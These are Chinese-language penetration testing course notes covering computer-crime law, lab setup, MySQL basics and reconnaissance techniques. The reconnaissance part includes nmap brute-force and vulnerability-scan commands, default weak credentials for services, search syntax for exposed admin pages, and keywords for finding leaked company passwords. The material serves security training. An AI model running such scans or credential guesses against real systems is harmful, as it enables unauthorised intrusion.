《磐石计划:Web安全漏洞与渗透测试》笔记

课程:磐石计划:Web安全漏洞与渗透测试
主讲老师:陈殷
课程详情:https://www.cnblogs.com/xuanhun/p/12849767.html
本文内容:磐石计划课堂笔记
引用:课程讲义(作者:陈殷),课程PPT

1.安全概念

1.1初探安全

信息安全

信息安全是指信息网络的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断。

信息安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。

从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。


1.2网络安全法

中国与网络安全的相关法律法规

犯罪 - 刑事处罚:《刑法》

违法 - 治安处罚:《治安管理处罚法》

处分 - 从业禁止:《网络安全法》


《刑法》第285、286条主要罪名

  • 非法侵入计算机信息系统罪

  • 非法获取计算机信息系统数据、非法控制计算机信息系统罪

  • 提供侵入、非法控制计算机信息系统的程序、工具罪

  • 破坏计算机信息系统罪


《刑法》第二百八十五条

【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

【提供侵入、非法控制计算机信息系统的程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。


情节严重

(一)获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的;

(二)获取第(一)项以外的身份认证信息五百组以上的;

(三)非法控制计算机信息系统二十台以上的;

(四)违法所得五千元以上或者造成经济损失一万元以上的;

(五)其他情节严重的情形。

情节特别严重

(一)数量或者数额达到前款第(一)项至第(四)项规定标准五倍以上的;(获取网络金融服务身份认证信息五十组以上,一般用户身份认证信息二千五百组以上,或者侵入系统一百台以上,或者造成经济损失五万元以上的。)

(二)其他情节特别严重的情形。

提供侵入、非法控制计算机信息系统的程序、工具,明知是他人非法控制的计算机信息系统,而对该计算机信息系统的控制权加以利用的,依照前两款的规定定罪处罚。


情节严重(285条)

  • 10组

  • 500组

  • 20台

  • 5000元/10000元

  • 5倍


第二百八十五条 非法侵入计算机信息系统罪

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。


《刑法》第二百八十六条

【破坏计算机信息系统罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。


处罚

  • 后果严重 - 五年以下有期徒刑或者拘役

  • 后果特别严重 - 五年以上有期徒刑


后果严重

(一)造成10台以上计算机信息系统的主要软件或者硬件不能正常运行的;

(二)对20台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;

(三)违法所得5000以上或者造成经济损失10000元以上的;

(四)造成为100台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(五)造成其他严重后果的。

后果特别严重

(一)数量或者数额达到前款第(一)项至第(三)项规定标准五倍以上的;(造成50台以上计算机信息系统的主要软件或者硬件不能正常运行的;对100台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;违法所得25000元以上或者造成经济损失50000元以上的。)

(二)造成为500台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(三)破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序,致使生产、生活受到严重影响或者造成恶劣社会影响的;

(四)造成其他特别严重后果的。


情节严重(刑法-286条)

  • 10台

  • 20台

  • 100台/1小时(一万用户)

  • 5000元/10000元

  • 5倍


第二百八十六条 破坏计算机信息系统罪

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。


《治安管理处罚法》第二十九条

有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:

(一)违反国家规定,侵入计算机信息系统,造成危害的;

(二)违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;

(三)违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;

(四)故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。


《网络安全法》

第六十三条 第三款

违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。


禁止性规定/事后性惩罚

刑事处罚/治安处罚/从业禁止

遵从法律框架、规范技术手段


第二十六条

开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。


法律法规要加强学习
圈子里交友要谨慎
技术操作要规范


1.3提问的艺术

提问是我们拨开迷障发现问题真正所在,但是如何去提问

前提:先百度!先百度!先百度!

原则:礼貌为前提 精准描述

答疑之后:

谢谢师傅,我再试一下,耽误您时间了~

or

红包


2.环境搭建

2.1搭建phpstudy环境 & hosts讲解 & cdn讲解

phpstudy环境:https://www.xp.cn/(官网)
hosts:https://baike.baidu.com/item/hosts/10474546(百度百科)
cdn:https://www.cnblogs.com/lianghe01/p/11132133.html(lianghe的博客)

2.2搭建Kali Linux和Metasploitable2

Kali

Kali Linux是基于Debian的Linux发行版
Kali Linux是一个高级渗透测试和安全审计Linux发行版。
这是黑客必备工具之一


Metasploitable2

Metasploitable是故意易受攻击的Linux虚拟机。该VM可用于进行安全培训,测试安全工具并练习常见的渗透测试技术。

默认的登录名是msfadmin
密码:msfadmin。

切勿将此虚拟机暴露于不受信任的网络(如果您有任何疑问,请使用NAT或仅主机模式)。

3.学习基础

3.1HTML基础

HTML称为超文本标记语言,是一种标识性的语言。它包括一系列标签.通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声音、表格、链接等。

JavaScript

sublime


3.2PHP基础

PHP(全称:PHP:超文本预处理器,即“ PHP:超文本预处理器”)是一种通用的开源脚本语言。

PHP功能和好处

  • 可以生成动态页面内容

  • 可以创建,打开,读取,写入,关闭服务器上的文件

  • 可以收集表单数据

  • 可以发送和接收cookie

  • 可以添加,删除,修改您的数据库中的数据

  • 可以限制用户访问您的网站上的一些页面

  • 可以加密数据

  • 通过PHP,您可以不再输出HTML。您可以输出图像,PDF文件,甚至Flash电影。您还可以输出任意的文本,例如XHTML和XML。

  • 可在不同的平台上运行(Windows,Linux,Unix,Mac OS X等)

  • 与当前几乎所有的正在被使用的服务器相兼容(Apache,IIS等)

  • 提供了广泛的数据库支持

  • 是免费的,可从官方的PHP资源下载它: www.php.net

  • 易于学习,尽可能高效地运行在服务器端


3.3mysql基础(此部分为陈殷大佬的讲义)

结构化查询语言,即SQL【structured query language】

需注意:

1,所有DBMS(database manager system)都执行SQL语法

2,数据库语言中的字符串要用单引号加起来

3,SQL中不区分大小写

MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

在本教程中,会让大家快速掌握 MySQL 的基本知识,并轻松使用 MySQL 数据库。


什么是数据库?

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。

每个数据库都有一个或多个不同的 API 用于创建,访问,管理,搜索和复制所保存的数据。

我们也可以将数据存储在文件中,但是在文件中读写数据速度相对较慢。

所以,现在我们使用关系型数据库管理系统(RDBMS)来存储和管理大数据量。所谓的关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。

RDBMS 即关系数据库管理系统(Relational Database Management System)的特点:

  • 1.数据以表格的形式出现
  • 2.每行为各种记录名称
  • 3.每列为记录名称所对应的数据域
  • 4.许多的行和列组成一张表单
  • 5.若干的表单组成database

MySQL数据库

MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

  • MySQL 是开源的,所以你不需要支付额外的费用。
  • MySQL 支持大型的数据库。可以处理拥有上千万条记录的大型数据库。
  • MySQL 使用标准的 SQL 数据语言形式。
  • MySQL 可以运行于多个系统上,并且支持多种语言。这些编程语言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
  • MySQL 对PHP有很好的支持,PHP 是目前最流行的 Web 开发语言。
  • MySQL 支持大型数据库,支持 5000 万条记录的数据仓库,32 位系统表文件最大可支持 4GB,64 位系统支持最大的表文件为8TB。
  • MySQL 是可以定制的,采用了 GPL 协议,你可以修改源码来开发自己的 MySQL 系统。
    在这里插入图片描述

Mysql查询数据库

登录后可以查询现有的数据库

show databases;

MySQL 创建数据库

我们可以在登陆 MySQL 服务后,使用 create 命令创建数据库,语法如下:

CREATE DATABASE 数据库名;

以下命令简单的演示了创建数据库的过程,数据名为 RUNOOB:

[root@host]# mysql -u root -p   
Enter password:****

mysql> create DATABASE rock;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LV1QE1Kw-1612170997458)(3.mysql基础.assets\1587517737485.png)]

MySQL 删除数据库

使用普通用户登陆 MySQL 服务器,你可能需要特定的权限来创建或者删除 MySQL 数据库,所以我们这边使用 root 用户登录,root 用户拥有最高权限。

在删除数据库过程中,务必要十分谨慎,因为在执行删除命令后,所有数据将会消失。

drop 命令删除数据库

drop 命令格式:

drop database <数据库名>;

例如删除名为 RUNOOB 的数据库:

mysql> drop database rock;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0i5kn1PF-1612170997461)(3.mysql基础.assets\1587517793071.png)]

MySQL 选择数据库

在你连接到 MySQL 数据库后,可能有多个可以操作的数据库,所以你需要选择你要操作的数据库。


从命令提示窗口中选择MySQL数据库

在 mysql> 提示窗口中可以很简单的选择特定的数据库。你可以使用SQL命令来选择指定的数据库。

实例

以下实例选取了数据库 RUNOOB:

[root@host]# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql>

执行以上命令后,你就已经成功选择了rock数据库,在后续的操作中都会在rock数据库中执行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IjZkRmEP-1612170997464)(3.mysql基础.assets\1587517837297.png)]

注意: 所有的数据库名,表名,表字段都是区分大小写的。所以你在使用SQL命令时需要输入正确的名称。

MySQL 数据类型

MySQL中定义数据字段的类型对你数据库的优化是非常重要的。

MySQL支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。


数值类型

MySQL支持所有标准SQL数值数据类型。

这些类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL和NUMERIC),以及近似数值数据类型(FLOAT、REAL和DOUBLE PRECISION)。

关键字INT是INTEGER的同义词,关键字DEC是DECIMAL的同义词。

BIT数据类型保存位字段值,并且支持MyISAM、MEMORY、InnoDB和BDB表。

作为SQL标准的扩展,MySQL也支持整数类型TINYINT、MEDIUMINT和BIGINT。下面的表显示了需要的每个整数类型的存储和范围。

类型大小范围(有符号)范围(无符号)用途
TINYINT1 byte(-128,127)(0,255)小整数值
SMALLINT2 bytes(-32 768,32 767)(0,65 535)大整数值
MEDIUMINT3 bytes(-8 388 608,8 388 607)(0,16 777 215)大整数值
INT或INTEGER4 bytes(-2 147 483 648,2 147 483 647)(0,4 294 967 295)大整数值
BIGINT8 bytes(-9,223,372,036,854,775,808,9 223 372 036 854 775 807)(0,18 446 744 073 709 551 615)极大整数值
FLOAT4 bytes(-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38)0,(1.175 494 351 E-38,3.402 823 466 E+38)单精度 浮点数值
DOUBLE8 bytes(-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)双精度 浮点数值
DECIMAL对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2依赖于M和D的值依赖于M和D的值小数值

日期和时间类型

表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR。

每个时间类型有一个有效值范围和一个"零"值,当指定不合法的MySQL不能表示的值时使用"零"值。

TIMESTAMP类型有专有的自动更新特性,将在后面描述。

类型大小 ( bytes)范围格式用途
DATE31000-01-01/9999-12-31YYYY-MM-DD日期值
TIME3‘-838:59:59’/‘838:59:59’HH:MM:SS时间值或持续时间
YEAR11901/2155YYYY年份值
DATETIME81000-01-01 00:00:00/9999-12-31 23:59:59YYYY-MM-DD HH:MM:SS混合日期和时间值
TIMESTAMP41970-01-01 00:00:00/2038结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07YYYYMMDD HHMMSS混合日期和时间值,时间戳

字符串类型

字符串类型指CHAR、VARCHAR、BINARY、VARBINARY、BLOB、TEXT、ENUM和SET。该节描述了这些类型如何工作以及如何在查询中使用这些类型。

类型大小用途
CHAR0-255 bytes定长字符串
VARCHAR0-65535 bytes变长字符串
TINYBLOB0-255 bytes不超过 255 个字符的二进制字符串
TINYTEXT0-255 bytes短文本字符串
BLOB0-65 535 bytes二进制形式的长文本数据
TEXT0-65 535 bytes长文本数据
MEDIUMBLOB0-16 777 215 bytes二进制形式的中等长度文本数据
MEDIUMTEXT0-16 777 215 bytes中等长度文本数据
LONGBLOB0-4 294 967 295 bytes二进制形式的极大文本数据
LONGTEXT0-4 294 967 295 bytes极大文本数据

注意:char(n) 和 varchar(n) 中括号中 n 代表字符的个数,并不代表字节个数,比如 CHAR(30) 就可以存储 30 个字符。

CHAR 和 VARCHAR 类型类似,但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。

BINARY 和 VARBINARY 类似于 CHAR 和 VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。

BLOB 是一个二进制大对象,可以容纳可变数量的数据。有 4 种 BLOB 类型:TINYBLOB、BLOB、MEDIUMBLOB 和 LONGBLOB。它们区别在于可容纳存储范围不同。

有 4 种 TEXT 类型:TINYTEXT、TEXT、MEDIUMTEXT 和 LONGTEXT。对应的这 4 种 BLOB 类型,可存储的最大长度不同,可根据实际情况选择。

MySQL 创建数据表

创建MySQL数据表需要以下信息:

  • 表名
  • 表字段名
  • 定义每个表字段
语法

以下为创建MySQL数据表的SQL通用语法:

CREATE TABLE table_name (column_name column_type);

以下例子中我们将在 RUNOOB 数据库中创建数据表runoob_tbl:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UBCIcar8-1612170997465)(3.mysql基础.assets\1587518219287.png)]

mysql> create table `user`(
    -> `id` int auto_increment,
    -> `name` char(30) not null,
    -> primary key (`id`));

MySQL 删除数据表

MySQL中删除数据表是非常容易操作的, 但是你再进行删除表操作时要非常小心,因为执行删除命令后所有数据都会消失。

语法

以下为删除MySQL数据表的通用语法:

DROP TABLE table_name ;

在命令提示窗口中删除数据表

在mysql>命令提示窗口中删除数据表SQL语句为 DROP TABLE

实例

以下实例删除了数据表user:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zlIhD5lD-1612170997466)(D:\Desktop\train\培训\3.学习基础\3.mysql基础.assets\1587518251606.png)]

root@host# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql> DROP TABLE user
Query OK, 0 rows affected (0.8 sec)
mysql>

MySQL 插入数据

MySQL 表中使用 INSERT INTO SQL语句来插入数据。

你可以通过 mysql> 命令提示窗口中向数据表中插入数据,或者通过PHP脚本来插入数据。

语法

以下为向MySQL数据表插入数据通用的 INSERT INTO SQL语法:

INSERT INTO table_name ( field1, field2,...fieldN )
                       VALUES
                       ( value1, value2,...valueN );

如果数据是字符型,必须使用单引号或者双引号,如:“value”。


通过命令提示窗口插入数据

以下我们将使用 SQL INSERT INTO 语句向 MySQL 数据表 runoob_tbl 插入数据

实例

以下实例中我们将向 user表插入一条数据:

mysql> insert into user
    -> (name)
    -> value
    -> ("chenyin");
Query OK, 1 row affected (0.00 sec)

注意: 使用箭头标记 -> 不是 SQL 语句的一部分,它仅仅表示一个新行,如果一条SQL语句太长,我们可以通过回车键来创建一个新行来编写 SQL 语句,SQL 语句的命令结束符为分号 ;

在以上实例中,我们并没有提供id 的数据,因为该字段我们在创建表的时候已经设置它为 AUTO_INCREMENT(自动增加) 属性。

所以,该字段会自动递增而不需要我们去设置。

接下来我们可以通过以下语句查看数据表数据:


MySQL 查询数据

MySQL 数据库使用SQL SELECT语句来查询数据。

你可以通过 mysql> 命令提示窗口中在数据库中查询数据,或者通过PHP脚本来查询数据。

语法

以下为在MySQL数据库中查询数据通用的 SELECT 语法:

SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]
  • 查询语句中你可以使用一个或者多个表,表之间使用逗号(,)分割,并使用WHERE语句来设定查询条件。
  • SELECT 命令可以读取一条或者多条记录。
  • 你可以使用星号(*)来代替其他字段,SELECT语句会返回表的所有字段数据
  • 你可以使用 WHERE 语句来包含任何条件。
  • 你可以使用 LIMIT 属性来设定返回的记录数。
  • 你可以通过OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0。

通过命令提示符获取数据

以下实例我们将通过 SQL SELECT 命令来获取 MySQL 数据表 user的数据:

实例

以下实例将返回数据表 user的所有记录:

读取数据表:

select * from user;

输出结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6xC9stBH-1612170997467)(3.mysql基础.assets\1587518518271.png)]

MySQL UNION 操作符

MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。

UNION 语句:用于将不同表中相同列中查询的数据展示出来;(不包括重复数据)

我们首先创建一个新表

mysql> create table user1(
-> id int auto_increment,
-> name char(30) not null,
-> primary key (id));
Query OK, 0 rows affected (0.57 sec)

在user1插入一条数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mY8uRtBR-1612170997468)(3.mysql基础.assets\1587518942551.png)]

查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y2DNrEPp-1612170997469)(3.mysql基础.assets\1587519002459.png)]

UNION ALL 语句:用于将不同表中相同列中查询的数据展示出来;(包括重复数据)

使用形式如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jk8loLmu-1612170997470)(3.mysql基础.assets\1587519021064.png)]

SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
SELECT 列名称 FROM 表名称 UNION ALL SELECT 列名称 FROM 表名称 ORDER BY 列名称;

MySQL 排序

我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。

如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。

语法

以下是 SQL SELECT 语句使用 ORDER BY 子句将查询数据排序后再返回数据:

SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]
  • 你可以使用任何字段来作为排序的条件,从而返回排序后的查询结果。
  • 你可以设定多个字段来排序。
  • 你可以使用 ASC 或 DESC 关键字来设置查询结果是按升序或降序排列。 默认情况下,它是按升序排列。
  • 你可以添加 WHERE…LIKE 子句来设置条件。

首先添加多条数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xuuJIFfu-1612170997472)(D:\Desktop\train\培训\3.学习基础\3.mysql基础.assets\1587519106778.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DmHnXARV-1612170997473)(D:\Desktop\train\培训\3.学习基础\3.mysql基础.assets\1587519114739.png)]

根据id进行排序

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SPSdv0rQ-1612170997474)(D:\Desktop\train\培训\3.学习基础\3.mysql基础.assets\1587519131341.png)]

4.信息收集

4.1浅谈渗透测试前的信息收集

  • 常规信息收集
  • 搜索引擎技巧
  • 资产发现与监控
  • 社工思路拓展

常规信息收集

常规信息收集之域名
  • 备案号查询
  • 暴力枚举
  • SSL证书查询
  • 第三方接口

根据所有者地址和其它信息进行域名拓补图绘制


备案号查询

备案号是网站是否合法注册经营的标志,可随时到国家工业和信息化部网站备案系统上查询该ICP备案的相关详细信息。

网站:www.beianbeian.com

点击反查,即可出现百度公司的相关资产


子域名发现的原理

利用现有搜索引擎:

  • 网页搜索引擎(如:谷歌等)

  • 空间搜索引擎(如:Shodan等)

  • SSL证书(如:crt.sh等)

爆破

又分为两种:

  • 直接访问子域名

  • 利用 DNS 请求

其他泄露信息

  • 如 crossdomain.xml 文件等

  • 爬虫递归爬取等

  • DNS域传送漏洞等


常规信息收集——子域名:暴力枚举

推荐工具1:Layer子域名挖掘机5.0 SAINTSEC更新版

Author:Seay

Modify:akast、dark3r

支持服务接口、暴力搜索、同服挖掘三种模式

支持打开网站、复制域名、复制IP、复制CDN

支持导出检测结果等功能

推荐指数:★★★★★


推荐工具2:subdomainsBurte

author:李劼杰

这个脚本的主要目标是发现其他工具无法探测到的域名,如Google,aizhan,fofa。

高频扫描每秒DNS请求数可超过1000次。

DownLoad Link:

https://github.com/y1ng1996/lijiejie_subDomainsBrute

推荐指数:★★★★★


常规信息收集——子域名:SSL证书查询

推荐网站1:censys.io

推荐指数:★★★★★


推荐网站2:crt.sh

推荐指数:★★★★★


推荐网站3:dnsdumpster.com

DNS服务器

MX记录

主机记录

推荐指数:★★★


常规信息收集——子域名:证书泄密

工具:火狐浏览器

访问https的链接可能出现


常规信息收集——子域名:第三方查询

推荐网站:shodan

推荐指数:★★★★★


推荐网站:fofa

推荐指数:★★★★★


常规信息收集之IP段
  • 绕过cdn小思路
  • ip段收集
  • 旁站查询
  • C段查询
  • ip数据库

常规信息收集——尝试查找CDN背后的真实ip

钟馗之眼: https://www.zoomeye.org/

censys: https://www.censys.io/

shodan: https://www.shodan.io/

全球DNS搜索引擎: https://www.dnsdb.io/zh-cn

FOFA :https://fofa.so/

Surfwax元搜索: http://lookahead.surfwax.com/

Way Back Machine(搜索网站过去的样子): https://archive.org/web/

Google学术 :https://scholar.google.com.ph/


让网站与你主动建立连接

example:订阅网站、RSS、注册链接

方法:查看邮件源代码(也有一种可能就是邮件服务器IP跟web服务器只是在一个c段上,这时候就需要对整个c段进行扫描)

缺点:目标站使用其它邮箱接口此方法则失效


常规信息收集——IP段整理

IPwhois.cnnic.net.cn

中国互联网络信息中心


常规信息收集——C段查询、旁站查询

https://phpinfo.me/bing.php

http://www.webscan.cc


常规信息收集——纯真IP数据库


常规信息收集之端口扫描
  • 浅谈常用端口安全风险
  • 端口扫描
  • nmap使用技巧

浅谈端口安全——常用端口以及常见测试项目

端口号服务和测试
21ftp
22SSH
23Telnet
80web
80-89web
161SNMP
389LDAP
443SSL心脏滴血
445SMB
512,513,514Rexec
873Rsync未授权
1025,111NFS
1433MSSQL
1521Oracle:(iSqlPlus Port:5560,7778)
2601,2604zebra路由,默认密码zebra
3306MySQL
3312/3311kangle主机管理系统登陆
3389远程桌面
4440rundeck
5432PostgreSQL
5900vnc
5984CouchDB http://xxx:5984/_utils/
6082varnish
6379redis未授权
7001,7002WebLogic默认弱口令,反序列
7778Kloxo主机控制面板登录
8000-9090都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
7001,7002WebLogic默认弱口令,反序列
7778Kloxo主机控制面板登录
8080tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090JBOSS
8161activemq未授权访问默认用户名和密码是admin
8888amh/LuManager 主机管理系统默认端口
9200,9300elasticsearch
10000Virtualmin/Webmin 服务器虚拟主机管理系统
11211memcache未授权访问
27017,27018Mongodb未授权访问
28017mongodb统计页面
50000SAP命令执行
50070,50030hadoop默认端口未授权访问

常规信息收集——端口信息收集

masscan

Download Link:https://github.com/robertdavidgraham/masscan

它可以在6分钟内扫描整个互联网,从一台机器每秒传输1000万个数据包。

masscan使用自己的自定义TCP / IP堆栈。

除简单端口扫描之外的任何其他操作都可能导致与本地TCP / IP堆栈冲突。

缺点:但是很吃带宽

推荐指数:★★★★★


scanport

小巧的windows端口快速扫描工具

最大线程为200

推荐指数:★★★★★


御剑

基于VB.NET + IOCP模型开发的高效端口扫描工具

支持IP区间合并,端口区间合并

端口指纹深度探测

推荐指数:★★★★★


常规信息收集——利用nmap快速捡洞和检洞

利用nmap五条指令快速捡洞和检洞:

系统漏洞检测:nmap --script smb-check-vulns.nse -p 192.168.1.1

数据库密码检测:nmap --script=brute 192.168.1.1

收集应用服务信息: nmap -sC 192.168.1.1

检测常见漏洞:nmap --script=vuln 192.168.1.1

检测部分应用的弱口令(负责处理鉴权证书): nmap --script=auth 192.168.1.1


常规信息收集之指纹收集
  • 第三方
  • 浏览器插件

指纹收集——第三方收集

云悉指纹
网站:www.yunsee.cn


指纹收集——浏览器插件妙用

Wappalyzer

Wappalyzer:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的chrome网站技术分析插件。


常规信息收集之路径扫描
  • 状态码浅析
  • 路径扫描工具
  • BurpSuite打造扫描工具
  • 另类思路

常规信息收集——状态码浅析

状态码意义中文释义
200OK客户端请求成功,响应主题包含请求的结果
400Bad Request客户端请求有语法错误,不能被服务器所理解,比如url插入无效的字符
401Unauthorized请求未经授权,被允许之前要求进行http身份认证, WWW-Authenticate消息头说明所支持的身份验证类型
403Forbidden禁止所有人访问被请求的资源
404Not Found请求资源不存在,eg:输入了错误的 URL
405Method not allowed用了不支持的请求方法 如:put
503Server Unavailable服务器当前不能处理客户端的请求,一段时间后可能恢复正常

常规信息收集——路径扫描工具原理浅析

返回状态码

返回内容正则判断

返回头

返回内容大小

目录字典

……

github项目推荐:https://github.com/Mosuan/FileScan


常规信息收集——使用Burp打造一个简易的扫描工具

使用到的工具:BurpSuite Intruder + 一份路径字典


常规信息收集——路径扫描工具

DirMap

一个高级的Web目录扫描工具

功能将会强于DirBuster,Dirsearch,cansina,御剑

Github:https://github.com/H4ckForJob/dirmap

使用Python3安装所需支持库:

python3 -m pip install -r requirements.txt

功能特点:

•支持Ñ个目标* N个有效载荷并发

•支持递归扫描

•支持自定义需要递归扫描的状态码

•支持(单|多)字典扫描

•支持自定义字符集爆破

•支持爬虫动态字典扫描

•支持自定义标签模糊目标网址

•自定义请求的User-Agent

•自定义请求随机延时

•自定义请求超时时间

•自定义请求代理

•自定义正则表达式匹配假性404页面

•自定义要处理的响应状态码

•自定义跳过大小为X的页面

•自定义显示的内容类型

•自定义显示页面大小

•按域名去重复保存结果


7kbscan


御剑系列


常规信息收集——另类猜测思路

经过观察发现,我们可以猜测开发者喜欢命名的方式是:该操作的英文名称+首字母大写

那么我们可以手动生成以下url进行探测:

AdminLogin

ManageLogin

UserEdit

……


搜索引擎技巧

  • 大众搜索引擎
  • 网络空间设备搜索引擎
  • 泄密查询

常规搜索引擎

  • 高级语法巧用

  • 高级语法组合

  • 敏感关键字搜索


网络空间设备搜索

fofa

country="CN" 搜索中国的资产

region="Zhejiang" 搜索指定行政区的资产

city="Hangzhou" 搜索指定城市的ip资产

title="abc" 从标题中搜索abc

查询条件连接:&&

eg:

查询所属城市为杭州、标题为后台登录的页面

city="Hangzhou"&&title="后台登录"


泄密查询——百度网盘泄密

关键字:XXX公司内部资料

关键字:XXX网密码


泄密查询——GITHUB

推荐项目:https://github.com/0xbug/Hawkeye

监控GitHub的代码库,及时发现员工托管公司代码到GitHub的行为并预警,降低代码泄露风险。


资产监控与分析

